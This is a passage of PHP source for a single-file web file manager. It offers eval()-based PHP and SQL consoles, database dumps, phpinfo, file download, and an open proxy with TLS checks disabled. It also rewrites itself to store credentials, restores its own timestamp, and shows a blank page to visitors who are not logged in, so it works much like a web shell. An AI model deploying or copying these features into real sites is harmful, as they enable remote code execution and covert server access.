				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGu